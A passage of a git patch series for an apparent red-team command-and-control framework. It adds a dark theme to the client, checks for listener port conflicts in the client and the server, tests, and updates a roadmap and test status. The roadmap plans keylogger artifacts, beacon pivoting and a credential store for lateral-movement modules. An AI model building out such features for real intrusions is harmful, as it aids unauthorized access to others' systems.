QPushButton("Clear") + self.clearOutputButton.setFixedHeight(26) self.clearOutputButton.clicked.connect(self.clearConsoleOutput) self.exportLogButton = QPushButton("Export") + self.exportLogButton.setFixedHeight(26) self.exportLogButton.clicked.connect(self.exportConsoleOutput) self.resendButton = QPushButton("Resend") + self.resendButton.setFixedHeight(26) self.resendButton.clicked.connect(self.resendLastCommand) self.pauseAutoscrollCheckBox = QCheckBox("Pause scroll") self.pauseAutoscrollCheckBox.toggled.connect(self.onAutoscrollToggled) diff --git a/C2Client/C2Client/GraphPanel.py b/C2Client/C2Client/GraphPanel.py index 5a62c01..6c1bd9f 100644 --- a/C2Client/C2Client/GraphPanel.py +++ b/C2Client/C2Client/GraphPanel.py @@ -17,6 +17,8 @@ ) from .env import env_int +from .console_style import CONSOLE_COLORS +from .panel_style import apply_dark_panel_style logger = logging.getLogger(__name__) @@ -29,8 +31,8 @@ NODE_ICON_SIZE = 64 NODE_LABEL_WIDTH = 132 NODE_TEXT_COLOR = QColor("#e4e7ec") -GRAPH_BACKGROUND_COLOR = QColor("#0b1117") -GRAPH_EDGE_COLOR = QColor("#7cd4fd") +GRAPH_BACKGROUND_COLOR = QColor(CONSOLE_COLORS["background"]) +GRAPH_EDGE_COLOR = QColor(CONSOLE_COLORS["timestamp"]) GRAPH_ZOOM_STEP = 1.18 GRAPH_MIN_ZOOM = 0.25 GRAPH_MAX_ZOOM = 3.0 @@ -294,22 +296,31 @@ def __init__(self, parent, grpcClient): self.listNodeItem = [] self.listConnector = [] self.zoomFactor = 1.0 + apply_dark_panel_style(self) self.scene = QGraphicsScene() self.scene.setBackgroundBrush(GRAPH_BACKGROUND_COLOR) self.view = QGraphicsView(self.scene) + self.view.setObjectName("C2GraphView") self.view.setRenderHint(QPainter.RenderHint.Antialiasing) self.view.setRenderHint(QPainter.RenderHint.TextAntialiasing) self.view.setTransformationAnchor(QGraphicsView.ViewportAnchor.AnchorUnderMouse) self.view.setResizeAnchor(QGraphicsView.ViewportAnchor.AnchorViewCenter) - self.view.setStyleSheet("QGraphicsView { border: 1px solid #263241; }") + self.view.setStyleSheet( + f""" + QGraphicsView#C2GraphView {{ + background-color: {CONSOLE_COLORS["background"]}; + border: 1px solid {CONSOLE_COLORS["border"]}; + }} + """ + ) self.vbox = QVBoxLayout() self.vbox.setContentsMargins(4, 4, 4, 4) - self.vbox.setSpacing(4) + self.vbox.setSpacing(6) self.toolbar = QHBoxLayout() - self.toolbar.setSpacing(4) + self.toolbar.setSpacing(6) self.toolbar.addStretch(1) self.refreshButton = self.createToolbarButton("Refresh", "Refresh graph now.", width=70) self.refreshButton.clicked.connect(self.updateGraph) diff --git a/C2Client/C2Client/ListenerPanel.py b/C2Client/C2Client/ListenerPanel.py index 685faf8..6c25cff 100644 --- a/C2Client/C2Client/ListenerPanel.py +++ b/C2Client/C2Client/ListenerPanel.py @@ -55,6 +55,7 @@ DOMAIN_LABEL_PATTERN = re.compile(r"^[A-Za-z0-9](?:[A-Za-z0-9-]{0,61}[A-Za-z0-9])?$") GITHUB_PROJECT_PART_PATTERN = re.compile(r"^[A-Za-z0-9][A-Za-z0-9_.-]*$") PORT_FIELD_TYPES = {HttpType, HttpsType, TcpType, DnsType} +TCP_BOUND_LISTENER_TYPES = {HttpType, HttpsType, TcpType} PRIMARY_LISTENER_TYPES = [HttpType, HttpsType, TcpType, GithubType, DnsType] AUTO_FIELD_VALUES = {"0.0.0.0", "8443", "8080", "4444", "53"} LISTENER_FORM_CONFIG = { @@ -173,6 +174,32 @@ def validate_listener_fields(listenerType, param1, param2): return False, "Unknown listener type." +def find_tcp_port_conflict(listenerType, port, existingListeners): + listenerType = _text(listenerType).lower() + if listenerType not in TCP_BOUND_LISTENER_TYPES: + return None + + portText = _text(port) + if not portText.isdigit(): + return None + + for listenerStore in existingListeners or []: + if _text(getattr(listenerStore, "beaconHash", "")): + continue + existingType = _text(getattr(listenerStore, "type", "")).lower() + if existingType not in TCP_BOUND_LISTENER_TYPES: + continue + if _text(getattr(listenerStore, "port", "")) == portText: + return listenerStore + return None + + +def listener_port_conflict_message(conflict): + listenerHash = _text(getattr(conflict, "listenerHash", "")) + listenerRef = f" {listenerHash[:8]}" if listenerHash else "" + return f"Port {conflict.port} is already used by {conflict.type} listener{listenerRef}." + + # # Listener tab implementation # @@ -397,8 +424,10 @@ def actionClicked(self, action): # form for adding a listener def listenerForm(self): if self.createListenerWindow is None: - self.createListenerWindow = CreateListner() + self.createListenerWindow = CreateListner(lambda: self.listListenerObject) self.createListenerWindow.procDone.connect(self.addListener) + else: + self.createListenerWindow.setExistingListenersProvider(lambda: self.listListenerObject) self.createListenerWindow.show() @@ -411,6 +440,10 @@ def addListener(self, message): if not valid: self.setInlineStatus(format_action_status("Add listener", error), False) return + conflict = find_tcp_port_conflict(listenerType, param2, self.listListenerObject) + if conflict is not None: + self.setInlineStatus(format_action_status("Add listener", listener_port_conflict_message(conflict)), False) + return if listenerType=="github": listener = TeamServerApi_pb2.Listener( @@ -534,8 +567,9 @@ class CreateListner(QWidget): procDone = pyqtSignal(list) - def __init__(self): + def __init__(self, existingListenersProvider=None): super().__init__() + self.existingListenersProvider = existingListenersProvider or (lambda: []) layout = QFormLayout() layout.setContentsMargins(12, 12, 12, 12) @@ -588,6 +622,10 @@ def __init__(self): self.param2.returnPressed.connect(self.checkAndSend) self.changeLabels() + def setExistingListenersProvider(self, existingListenersProvider): + self.existingListenersProvider = existingListenersProvider or (lambda: []) + self.updateFormState() + def changeLabels(self): self.clearValidationError() @@ -664,6 +702,8 @@ def updateFormState(self): self.param1.text(), self.param2.text(), ) + if valid and find_tcp_port_conflict(self.type.currentText(), self.param2.text(), self.existingListenersProvider()): + valid = False self.buttonOk.setEnabled(valid) def checkAndSend(self): @@ -675,6 +715,10 @@ def checkAndSend(self): if not valid: self.showValidationError(error) return + conflict = find_tcp_port_conflict(type, param2, self.existingListenersProvider()) + if conflict is not None: + self.showValidationError(listener_port_conflict_message(conflict)) + return result = [type, param1, param2] self.procDone.emit(result) diff --git a/C2Client/TODO.md b/C2Client/TODO.md index a486047..777cd11 100644 --- a/C2Client/TODO.md +++ b/C2Client/TODO.md @@ -27,16 +27,17 @@ Objectif: rendre le client plus agreable pour un operateur, puis enrichir propre | 19 | [ ] | Generer des formulaires de commandes depuis les schemas assistant | L | Fort | Utiliser `assistant_agent/tools/schemas/*.json` pour proposer des commandes guidees sans tout taper a la main. | | 20 | [ ] | Ajouter `GetServerInfo` / `GetCapabilities` au proto | L | Fort | Version serveur, modules charges, features, chemins runtime, limites max message, auth mode. Premier vrai changement client-server. | | 21 | [x] | Ajouter `ListCommands` / `ListModules` structure | L | Tres fort | Fait. `ListCommands` expose le catalogue serveur, tab UI `Commands`, autocomplete console sans fallback hardcode, specs simples pour modules, `GetCommandHelp` genere l'aide depuis les specs, `ListModules` stream les modules suivis par beacon, `listModule` affiche name/status dans la console, `loadModule` cache les modules actifs et `unloadModule` propose les modules charges. Persistence/historique modules reportes aux items audit/historique. | -| 22 | [ ] | Persister `keyLogger` en artefact live | L | Fort | Ecrire chaque `followUp` dans un fichier `GeneratedArtifacts/keylogger/beacon`, nomme avec hostname + timestamp, visible dans `Artifacts` sans action `dump`; mettre a jour le sidecar/hash a chaque append et garder `stop` limite a l'arret du module. | -| 23 | [ ] | Supporter les hostnames SOCKS5 cote beacon | L | Tres fort | Accepter `ATYP=DName` dans `libSocks5`, transporter une destination typee TeamServer -> beacon, resoudre/connecter depuis le contexte beacon, garder IPv4 compatible, ajouter tests hostname/stress avec `scripts/socks5_stress_test.py --socks-hostname` et erreurs propres au lieu d'un EOF silencieux. | -| 24 | [ ] | Ajouter `ValidateCommand` / `DryRunCommand` | L | Tres fort | Verifier une commande sans l'envoyer au beacon; retourner erreur, hint, instruction preparee, fichiers requis. | -| 25 | [ ] | Ajouter un modele d'erreurs type dans le proto | L | Fort | `code`, `message`, `hint`, `details`; eviter de parser du texte libre cote client. | -| 26 | [ ] | Ajouter un credential store serveur pour les modules | XL | Tres fort | Store central cote TeamServer avec RPC list/search/add/update/delete, audit et masquage des secrets; ajouter un `credential_filter` aux CommandSpecs pour autocompleter les modules qui prennent des credentials (`psExec`, `wmiExec`, `winRm`, `dcomExec`, `spawnAs`, `makeToken`, etc.) sans exposer les mots de passe. | -| 27 | [ ] | Ajouter historique/audit operateur cote serveur | XL | Tres fort | Qui a envoye quoi, quand, sur quelle session, command_id, resultat, statut. Base pour recherche, replay, reporting. | -| 28 | [ ] | Ajouter `GetCommandStatus` / `ListCommandHistory` / `CancelCommand` | XL | Tres fort | Suivi propre des commandes queued/running/done/error/cancelled; utile pour console, assistant et workflows longs. | -| 29 | [ ] | Ajouter tags/notes/assignation sessions cote serveur | XL | Fort | Tags persistants, notes operationnelles, owner operateur, priorite, commentaires. | -| 30 | [ ] | Ajouter `StreamEvents` global | XL | Tres fort | Flux unique pour sessions, listeners, commandes, logs et erreurs; remplacer le polling toutes les 2 secondes. | -| 31 | [ ] | Ajouter upload/download chunked avec progression | XL | Fort | Progression, checksum, reprise partielle, erreurs propres, limites configurables. | +| 22 | [ ] | Synchroniser l'assistant avec `CommandSpecs` / `ListCommands` | L | Tres fort | L'assistant n'est probablement plus a jour depuis la migration CommandSpec. Le faire charger le catalogue serveur, `GetCommandHelp`, les arguments/artefacts requis, modules charges et capabilities pour construire ses commandes depuis la meme source que la console, au lieu de schemas ou prompts statiques. | +| 23 | [ ] | Persister `keyLogger` en artefact live | L | Fort | Ecrire chaque `followUp` dans un fichier `GeneratedArtifacts/keylogger/beacon`, nomme avec hostname + timestamp, visible dans `Artifacts` sans action `dump`; mettre a jour le sidecar/hash a chaque append et garder `stop` limite a l'arret du module. | +| 24 | [ ] | Supporter les hostnames SOCKS5 cote beacon | L | Tres fort | Accepter `ATYP=DName` dans `libSocks5`, transporter une destination typee TeamServer -> beacon, resoudre/connecter depuis le contexte beacon, garder IPv4 compatible, ajouter tests hostname/stress avec `scripts/socks5_stress_test.py --socks-hostname` et erreurs propres au lieu d'un EOF silencieux. | +| 25 | [ ] | Ajouter `ValidateCommand` / `DryRunCommand` | L | Tres fort | Verifier une commande sans l'envoyer au beacon; retourner erreur, hint, instruction preparee, fichiers requis. | +| 26 | [ ] | Ajouter un modele d'erreurs type dans le proto | L | Fort | `code`, `message`, `hint`, `details`; eviter de parser du texte libre cote client. | +| 27 | [ ] | Ajouter un credential store serveur pour les modules | XL | Tres fort | Store central cote TeamServer avec RPC list/search/add/update/delete, audit et masquage des secrets; ajouter un `credential_filter` aux CommandSpecs pour autocompleter les modules qui prennent des credentials (`psExec`, `wmiExec`, `winRm`, `dcomExec`, `spawnAs`, `makeToken`, etc.) sans exposer les mots de passe. | +| 28 | [ ] | Ajouter historique/audit operateur cote serveur | XL | Tres fort | Qui a envoye quoi, quand, sur quelle session, command_id, resultat, statut. Base pour recherche, replay, reporting. | +| 29 | [ ] | Ajouter `GetCommandStatus` / `ListCommandHistory` / `CancelCommand` | XL | Tres fort | Suivi propre des commandes queued/running/done/error/cancelled; utile pour console, assistant et workflows longs. | +| 30 | [ ] | Ajouter tags/notes/assignation sessions cote serveur | XL | Fort | Tags persistants, notes operationnelles, owner operateur, priorite, commentaires. | +| 31 | [ ] | Ajouter `StreamEvents` global | XL | Tres fort | Flux unique pour sessions, listeners, commandes, logs et erreurs; remplacer le polling toutes les 2 secondes. | +| 32 | [ ] | Ajouter upload/download chunked avec progression | XL | Fort | Progression, checksum, reprise partielle, erreurs propres, limites configurables. | ## Details `.env` @@ -93,5 +94,5 @@ C2_SHELLCODE_MODULES_DIR= 1. Phase 1: items 1 a 8. Aucun changement proto, beaucoup d'UX gagnee vite. 2. Phase 2: items 9 a 16. Client plus productif, tables/console/graph vraiment exploitables. -3. Phase 3: items 17 a 25. Contrat client-server propre pour capabilities, commandes, erreurs, SOCKS5 et artefacts generes par flux. -4. Phase 4: items 26 a 31. Fonctionnalites operationnelles avancees, credential store serveur, audit et reduction du polling. +3. Phase 3: items 17 a 26. Contrat client-server propre pour capabilities, commandes, erreurs, SOCKS5 et artefacts generes par flux. +4. Phase 4: items 27 a 32. Fonctionnalites operationnelles avancees, credential store serveur, audit et reduction du polling. diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index b696468..b634e18 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -69,6 +69,13 @@ def test_command_history_and_logging(tmp_path, qtbot, monkeypatch): console = Console(parent, StubGrpc(), 'beacon', 'listener', 'host', 'user') qtbot.addWidget(console) + assert "#0b1117" in console.styleSheet() + assert "#101820" in console.styleSheet() + assert console.searchInput.minimumHeight() == 26 + assert console.searchInput.maximumHeight() == 26 + assert console.findPreviousButton.minimumHeight() == 26 + assert console.findPreviousButton.maximumHeight() == 26 + console.commandEditor.setText('help assemblyExec') console.runCommand() diff --git a/C2Client/tests/test_graph_panel.py b/C2Client/tests/test_graph_panel.py index 7025afd..ef5c7af 100644 --- a/C2Client/tests/test_graph_panel.py +++ b/C2Client/tests/test_graph_panel.py @@ -3,6 +3,7 @@ from PyQt6.QtCore import QPointF from PyQt6.QtWidgets import QWidget +from C2Client.console_style import CONSOLE_COLORS from C2Client.GraphPanel import BeaconNodeItemType, Graph, ListenerNodeItemType @@ -149,3 +150,18 @@ def test_graph_zoom_buttons_update_view_scale(qtbot, monkeypatch): graph.zoomOutButton.click() assert graph.view.transform().m11() == initial_scale + + +def test_graph_uses_shared_dark_panel_theme(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.GraphPanel.QThread.start", lambda self: None) + + graph = Graph(QWidget(), StubGrpc()) + qtbot.addWidget(graph) + + assert CONSOLE_COLORS["background"] in graph.styleSheet() + assert CONSOLE_COLORS["background"] in graph.view.styleSheet() + assert CONSOLE_COLORS["border"] in graph.view.styleSheet() + assert graph.vbox.spacing() == 6 + assert graph.toolbar.spacing() == 6 + assert graph.refreshButton.minimumHeight() == 26 + assert graph.refreshButton.maximumHeight() == 26 diff --git a/C2Client/tests/test_listener_panel.py b/C2Client/tests/test_listener_panel.py index c770c55..e5537ec 100644 --- a/C2Client/tests/test_listener_panel.py +++ b/C2Client/tests/test_listener_panel.py @@ -83,6 +83,28 @@ def test_add_listener_invalid_fields_are_not_sent(qtbot, monkeypatch): assert "#b00020" in listeners.statusLabel.styleSheet() +def test_add_listener_blocks_tcp_bound_port_conflict(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.ListenerPanel.QThread.start", lambda self: None) + + grpc = StubGrpc() + parent = QWidget() + listeners = Listeners(parent, grpc) + listeners.listListenerObject = [ + Listener(0, "https-listener-full-hash", HttpsType, "0.0.0.0", 8443, 0), + Listener(1, "child-listener-full-hash", "tcp", "0.0.0.0", 4444, 0, "beacon-full-hash"), + ] + qtbot.addWidget(listeners) + + listeners.addListener(["tcp", "0.0.0.0", "8443"]) + + assert grpc.added_listeners == [] + assert listeners.statusLabel.text() == "Add listener: Port 8443 is already used by https listener https-li." + assert "#b00020" in listeners.statusLabel.styleSheet() + + listeners.addListener(["tcp", "0.0.0.0", "4444"]) + assert len(grpc.added_listeners) == 1 + + def test_add_listener_form_blocks_invalid_port(qtbot): form = CreateListner() qtbot.addWidget(form) @@ -99,6 +121,27 @@ def test_add_listener_form_blocks_invalid_port(qtbot): assert form.errorLabel.text() == "Port must be a number between 1 and 65535." +def test_add_listener_form_blocks_tcp_bound_port_conflict(qtbot): + form = CreateListner(lambda: [ + Listener(0, "https-listener-full-hash", HttpsType, "0.0.0.0", 8443, 0) + ]) + qtbot.addWidget(form) + emitted = [] + form.procDone.connect(lambda values: emitted.append(values)) + + form.qcombo.setCurrentText("tcp") + form.param1.setText("0.0.0.0") + form.param2.setText("8443") + + assert form.buttonOk.isEnabled() is False + + form.checkAndSend() + + assert emitted == [] + assert form.errorLabel.isHidden() is False + assert form.errorLabel.text() == "Port 8443 is already used by https listener https-li." + + def test_add_listener_form_updates_fields_by_type(qtbot): form = CreateListner() qtbot.addWidget(form) diff --git a/docs/TEST_GAPS.md b/docs/TEST_GAPS.md index 3d36dde..aa71459 100644 --- a/docs/TEST_GAPS.md +++ b/docs/TEST_GAPS.md @@ -21,15 +21,10 @@ _Generated by `scripts/generate-test-state.py`._ | partial | critical | `ARTIFACT-TOOLS-001` | Artifacts | Tools | Resolve Tools// and Tools/Any/any for module preparers and terminal upload. | pass | untested | | partial | high | `C2CLIENT-CONFIG-CERT-001` | C2Client | TLS certificate config | Use C2_CERT_PATH when set and report a clear error when the certificate is missing. | pass | untested | | partial | high | `C2CLIENT-CONSOLE-HELP-001` | C2Client | Beacon command help | Render help from TeamServer CommandSpec without legacy << or >> markers. | pass | untested | -| partial | high | `C2CLIENT-HOOKS-PANEL-001` | C2Client | Hooks panel | List hooks with descriptions/tooltips, activation counts, and manual start using context snapshot. | pass | untested | -| partial | high | `C2CLIENT-LISTENER-PANEL-001` | C2Client | Listener panel | Render listeners table, restrict form fields, and preserve column sizing during refresh. | pass | untested | -| partial | high | `C2CLIENT-SESSION-PANEL-001` | C2Client | Sessions panel | Render sessions table with stable column sizing, readable IPs, last seen, state, OS tooltip, and module count context. | pass | untested | | partial | high | `LISTENER-SMB-001` | Listeners | SMB listener | Start SMB listener and route task/result traffic through named pipe transport. | untested | pass | | partial | high | `LISTENER-TCP-001` | Listeners | TCP listener | Start TCP listener and route task/result traffic. | untested | pass | | partial | high | `TEAMSERVER-LISTENER-ARTIFACT-SERVICE-001` | TeamServer | Listener artifact service | Resolve beacon binaries by target OS and arch for droppers and terminal operations. | pass | untested | | partial | high | `TEAMSERVER-SHELLCODE-SERVICE-001` | TeamServer | Shellcode service | Generate shellcode artifacts from supported sources and expose generic generator metadata. | pass | untested | -| partial | medium | `C2CLIENT-AI-PANEL-001` | C2Client | Data AI panel | Render system/user/assistant markers with distinct colors and line breaks. | pass | untested | -| partial | medium | `C2CLIENT-GRAPH-PANEL-001` | C2Client | Graph panel | Render separated nodes by default, zoom in/out controls, and no redundant title frame. | pass | untested | | partial | medium | `C2CLIENT-MAIN-THEME-001` | C2Client | Main layout theme | Use consistent dark background across main layout, sessions, listeners, graph, consoles, and hooks. | pass | untested | | untested | critical | `RELEASE-LINUX-ARTIFACTS-001` | Release | Linux release artifacts | Build/release output contains LinuxBeacons/, LinuxModules/, Tools/Linux/, Scripts/Linux, and CommandSpecs. | n/a | untested | | untested | medium | `LISTENER-DNS-001` | Listeners | DNS listener | Start DNS listener and route task/result traffic within DNS transport limits. | untested | untested | diff --git a/docs/TEST_MATRIX.md b/docs/TEST_MATRIX.md index a4d7048..ec7ee2d 100644 --- a/docs/TEST_MATRIX.md +++ b/docs/TEST_MATRIX.md @@ -23,15 +23,15 @@ _Generated by `scripts/generate-test-state.py`._ | pass | auto | critical | `C2CLIENT-CONFIG-ENV-001` | C2Client | Config loading | client | n/a | n/a | n/a | pass | n/a | | pass | auto+manual | high | `C2CLIENT-CONSOLE-FORMATTING-001` | C2Client | Console formatting | client | n/a | any | n/a | pass | pass | | planned | planned | medium | `C2CLIENT-TERMINAL-CREDENTIALS-001` | C2Client | Credential store terminal commands | client | n/a | n/a | n/a | n/a | n/a | -| partial | auto+manual | medium | `C2CLIENT-AI-PANEL-001` | C2Client | Data AI panel | client | n/a | n/a | n/a | pass | untested | +| pass | auto+manual | medium | `C2CLIENT-AI-PANEL-001` | C2Client | Data AI panel | client | n/a | n/a | n/a | pass | pass | | pass | auto+manual | high | `C2CLIENT-TERMINAL-DROPPER-001` | C2Client | Dropper | client | x64 | https | hosted | pass | pass | | pass | auto+manual | critical | `C2CLIENT-STARTUP-GUI-001` | C2Client | GUI startup | client | n/a | n/a | n/a | pass | pass | -| partial | auto+manual | medium | `C2CLIENT-GRAPH-PANEL-001` | C2Client | Graph panel | client | n/a | any | n/a | pass | untested | -| partial | auto+manual | high | `C2CLIENT-HOOKS-PANEL-001` | C2Client | Hooks panel | client | n/a | any | scripts | pass | untested | -| partial | auto+manual | high | `C2CLIENT-LISTENER-PANEL-001` | C2Client | Listener panel | client | n/a | any | n/a | pass | untested | +| pass | auto+manual | medium | `C2CLIENT-GRAPH-PANEL-001` | C2Client | Graph panel | client | n/a | any | n/a | pass | pass | +| pass | auto+manual | high | `C2CLIENT-HOOKS-PANEL-001` | C2Client | Hooks panel | client | n/a | any | scripts | pass | pass | +| pass | auto+manual | high | `C2CLIENT-LISTENER-PANEL-001` | C2Client | Listener panel | client | n/a | any | n/a | pass | pass | | partial | auto+manual | medium | `C2CLIENT-MAIN-THEME-001` | C2Client | Main layout theme | client | n/a | n/a | n/a | pass | untested | | pass | auto | critical | `C2CLIENT-RPC-BINDINGS-001` | C2Client | Protocol bindings | client | n/a | n/a | n/a | pass | n/a | -| partial | auto+manual | high | `C2CLIENT-SESSION-PANEL-001` | C2Client | Sessions panel | client | n/a | any | n/a | pass | untested | +| pass | auto+manual | high | `C2CLIENT-SESSION-PANEL-001` | C2Client | Sessions panel | client | n/a | any | n/a | pass | pass | | partial | auto+manual | high | `C2CLIENT-CONFIG-CERT-001` | C2Client | TLS certificate config | client | n/a | https | n/a | pass | untested | | pass | auto+manual | critical | `C2CLIENT-TERMINAL-HOST-001` | C2Client | Terminal host command | client | n/a | https | hosted | pass | pass | | pass | auto+manual | high | `C2CLIENT-TERMINAL-BASE-001` | C2Client | Terminal tab | client | n/a | n/a | n/a | pass | pass | diff --git a/docs/TEST_STATE.md b/docs/TEST_STATE.md index fccddd1..c5a8801 100644 --- a/docs/TEST_STATE.md +++ b/docs/TEST_STATE.md @@ -10,10 +10,10 @@ _Generated by `scripts/generate-test-state.py`._ | Status | Count | |---|---:| -| pass | 83 | +| pass | 88 | | fail | 0 | | blocked | 14 | -| partial | 13 | +| partial | 8 | | untested | 2 | | planned | 2 | @@ -32,7 +32,7 @@ _Generated by `scripts/generate-test-state.py`._ |---|---:|---:|---:|---:|---:|---:|---:| | Artifacts | 4 | 0 | 0 | 1 | 0 | 0 | 5 | | Beacon | 5 | 0 | 0 | 0 | 0 | 0 | 5 | -| C2Client | 12 | 0 | 0 | 8 | 0 | 1 | 21 | +| C2Client | 17 | 0 | 0 | 3 | 0 | 1 | 21 | | CommonCommands | 7 | 0 | 0 | 0 | 0 | 0 | 7 | | Listeners | 2 | 0 | 1 | 2 | 1 | 0 | 6 | | Modules | 39 | 0 | 12 | 0 | 0 | 1 | 52 | diff --git a/docs/testing/manual-results.yaml b/docs/testing/manual-results.yaml index 407ff1d..6bc8c7e 100644 --- a/docs/testing/manual-results.yaml +++ b/docs/testing/manual-results.yaml @@ -760,3 +760,43 @@ results: tester: "max" evidence: "Manual UI retest after replacing QCompleter with integrated CompletionInput: Terminal autocomplete is visible under the input, Tab descends, Shift+Tab ascends, Escape closes, help+Enter executes help, and host+Tab descends into artifacts/listeners. Beacon console retest validated ls+Enter and cd+Enter execute the bare commands, while Tab or trailing space explicitly opens argument/example suggestions. Hooks and Data AI input height and integrated autocomplete behavior were also validated." notes: "The previous QCompleter multi-screen popup blocker is resolved. Exact command matches no longer auto-descend into examples unless completion is explicitly requested." + + - id: C2CLIENT-SESSION-PANEL-001 + status: pass + date: "2026-05-10" + build: "local-dev" + tester: "max" + evidence: "Manual UI retest validated the Sessions panel: stable table sizing during refresh, readable IPs, humanized last seen/state behavior, OS tooltip, and visual alignment with the dark theme." + notes: "Session panel validation completed during the UI stabilization pass." + + - id: C2CLIENT-LISTENER-PANEL-001 + status: pass + date: "2026-05-10" + build: "local-dev" + tester: "max" + evidence: "Manual retest validated the Listeners panel after the port-conflict fix: stable table sizing during refresh, readable listener fields, invalid ports rejected, duplicate TCP-bound ports across http/https/tcp rejected cleanly, and valid listener start/stop flows still work." + notes: "The previous crash path is fixed: UI blocks conflicting http/https/tcp ports before RPC and TeamServer rejects the same conflict server-side." + + - id: C2CLIENT-HOOKS-PANEL-001 + status: pass + date: "2026-05-10" + build: "local-dev" + tester: "max" + evidence: "Manual UI validation confirmed the Hooks panel lists hooks/scripts, descriptions are available in tooltips, enable/disable works, activation counters update, ManualStart receives the sessions/listeners snapshot, non-ManualStart hooks without captured context show a clear message, and the compact integrated autocomplete input behaves correctly." + notes: "Validated after the shared CompletionInput migration and Hooks panel polish." + + - id: C2CLIENT-AI-PANEL-001 + status: pass + date: "2026-05-10" + build: "local-dev" + tester: "max" + evidence: "Manual UI validation confirmed Data AI renders system/user/assistant markers with distinct colors, message text is visually separate from badges, blocks keep readable spacing, the input stays compact, and integrated autocomplete/local commands behave correctly." + notes: "Functional command knowledge is not considered fully current after the CommandSpec migration; tracked separately in the TODO item for synchronizing the assistant with ListCommands/CommandSpecs." + + - id: C2CLIENT-GRAPH-PANEL-001 + status: pass + date: "2026-05-10" + build: "local-dev" + tester: "max" + evidence: "Manual UI validation confirmed the Graph panel separates listeners/sessions/pivots by default, Auto redistributes nodes, Fit recenters, +/- zoom works, manual positions remain stable after refresh, the redundant Graph frame is absent, dark theme is consistent, and labels/tooltips are readable." + notes: "Validated during UI stabilization after graph layout, zoom, and theme polish." diff --git a/teamServer/teamServer/TeamServerListenerSessionService.cpp b/teamServer/teamServer/TeamServerListenerSessionService.cpp index 5fb1b5a..1af0857 100644 --- a/teamServer/teamServer/TeamServerListenerSessionService.cpp +++ b/teamServer/teamServer/TeamServerListenerSessionService.cpp @@ -71,6 +71,35 @@ std::string toLower(std::string value) return value; } +bool isTcpBoundListenerType(const std::string& type) +{ + return type == ListenerHttpType || type == ListenerHttpsType || type == ListenerTcpType; +} + +std::shared_ptr findTcpPortConflict( + const std::vector>& listeners, + const std::string& type, + int port) +{ + if (!isTcpBoundListenerType(type)) + return nullptr; + + const std::string portText = std::to_string(port); + auto object = std::find_if( + listeners.begin(), + listeners.end(), + [&](const std::shared_ptr& obj) + { + return obj && + isTcpBoundListenerType(obj->getType()) && + obj->getParam2() == portText; + }); + + if (object == listeners.end()) + return nullptr; + return *object; +} + std::string currentUtcTimestamp() { const auto now = std::chrono::system_clock::now(); @@ -239,6 +268,18 @@ grpc::Status TeamServerListenerSessionService::addListener(const teamserverapi:: const std::string type = listenerToCreate.type(); response->set_status(teamserverapi::KO); + if (auto conflictingListener = findTcpPortConflict(m_listeners, type, listenerToCreate.port())) + { + m_logger->warn("Add listener failed: port {0} already used by {1} listener {2}", + std::to_string(listenerToCreate.port()), + conflictingListener->getType(), + conflictingListener->getListenerHash()); + response->set_message( + "Port " + std::to_string(listenerToCreate.port()) + + " is already used by " + conflictingListener->getType() + " listener."); + return grpc::Status::OK; + } + if (type == ListenerGithubType) { auto object = std::find_if( diff --git a/teamServer/tests/TeamServerListenerSessionServiceTests.cpp b/teamServer/tests/TeamServerListenerSessionServiceTests.cpp index 05890ed..d6346ad 100644 --- a/teamServer/tests/TeamServerListenerSessionServiceTests.cpp +++ b/teamServer/tests/TeamServerListenerSessionServiceTests.cpp @@ -281,6 +281,47 @@ void testQueueStopAndResponseDeduplication() assert(secondClientResponses.size() == 1); } +void testAddListenerRejectsTcpBoundPortConflicts() +{ + nlohmann::json config = {{"LogLevel", "off"}}; + auto logger = makeLogger(); + + std::vector> listeners; + listeners.push_back(std::make_shared("0.0.0.0", "8443", ListenerHttpsType, "listener-primary")); + + std::vector> moduleCmd; + CommonCommands commonCommands; + std::vector cmdResponses; + std::unordered_map> sentResponses; + std::vector sentCommands; + + TeamServerListenerSessionService service( + logger, + config, + listeners, + moduleCmd, + commonCommands, + cmdResponses, + sentResponses, + sentCommands, + nullptr, + [](const std::string&, C2Message&, bool, const std::string&) + { + return 0; + }); + + teamserverapi::Listener tcpListener; + tcpListener.set_type(ListenerTcpType); + tcpListener.set_ip("0.0.0.0"); + tcpListener.set_port(8443); + + teamserverapi::OperationAck response; + assert(service.addListener(tcpListener, &response).ok()); + assert(response.status() == teamserverapi::KO); + assert(response.message() == "Port 8443 is already used by https listener."); + assert(listeners.size() == 1); +} + void testModuleTrackingBlocksDuplicateLoadsAndListsLoadedModules() { nlohmann::json config = {{"LogLevel", "off"}}; @@ -530,6 +571,7 @@ int main() { testCollectListenersAndSessions(); testQueueStopAndResponseDeduplication(); + testAddListenerRejectsTcpBoundPortConflicts(); testModuleTrackingBlocksDuplicateLoadsAndListsLoadedModules(); testPendingGeneratedArtifactChunksDoNotEmitIntermediateResponses(); return 0; From d693ae98d9f92dcd760905b35cc8f8248add55de Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Sun, 10 May 2026 14:03:51 +0200 Subject: [PATCH 74/82] manual test --- C2Client/C2Client/ConsolePanel.py | 24 +++++- C2Client/C2Client/GUI.py | 11 +++ C2Client/C2Client/ListenerPanel.py | 7 ++ C2Client/C2Client/TerminalPanel.py | 1 - C2Client/C2Client/autocomplete.py | 2 + C2Client/C2Client/window_chrome.py | 79 +++++++++++++++++++ C2Client/tests/test_console_panel.py | 55 +++++++++++++ .../tests/test_terminal_panel_dropper_arch.py | 2 + C2Client/tests/test_window_chrome.py | 23 ++++++ docs/TEST_GAPS.md | 4 - docs/TEST_MATRIX.md | 8 +- docs/TEST_STATE.md | 14 ++-- docs/testing/manual-results.yaml | 32 ++++++++ 13 files changed, 244 insertions(+), 18 deletions(-) create mode 100644 C2Client/C2Client/window_chrome.py create mode 100644 C2Client/tests/test_window_chrome.py diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index 5646648..d11337e 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -876,6 +876,8 @@ def __init__(self, parent, grpcClient): self.tabs.addTab(tab, "Data AI") self.tabs.setCurrentIndex(self.tabs.count()-1) self.protectSystemTabs() + 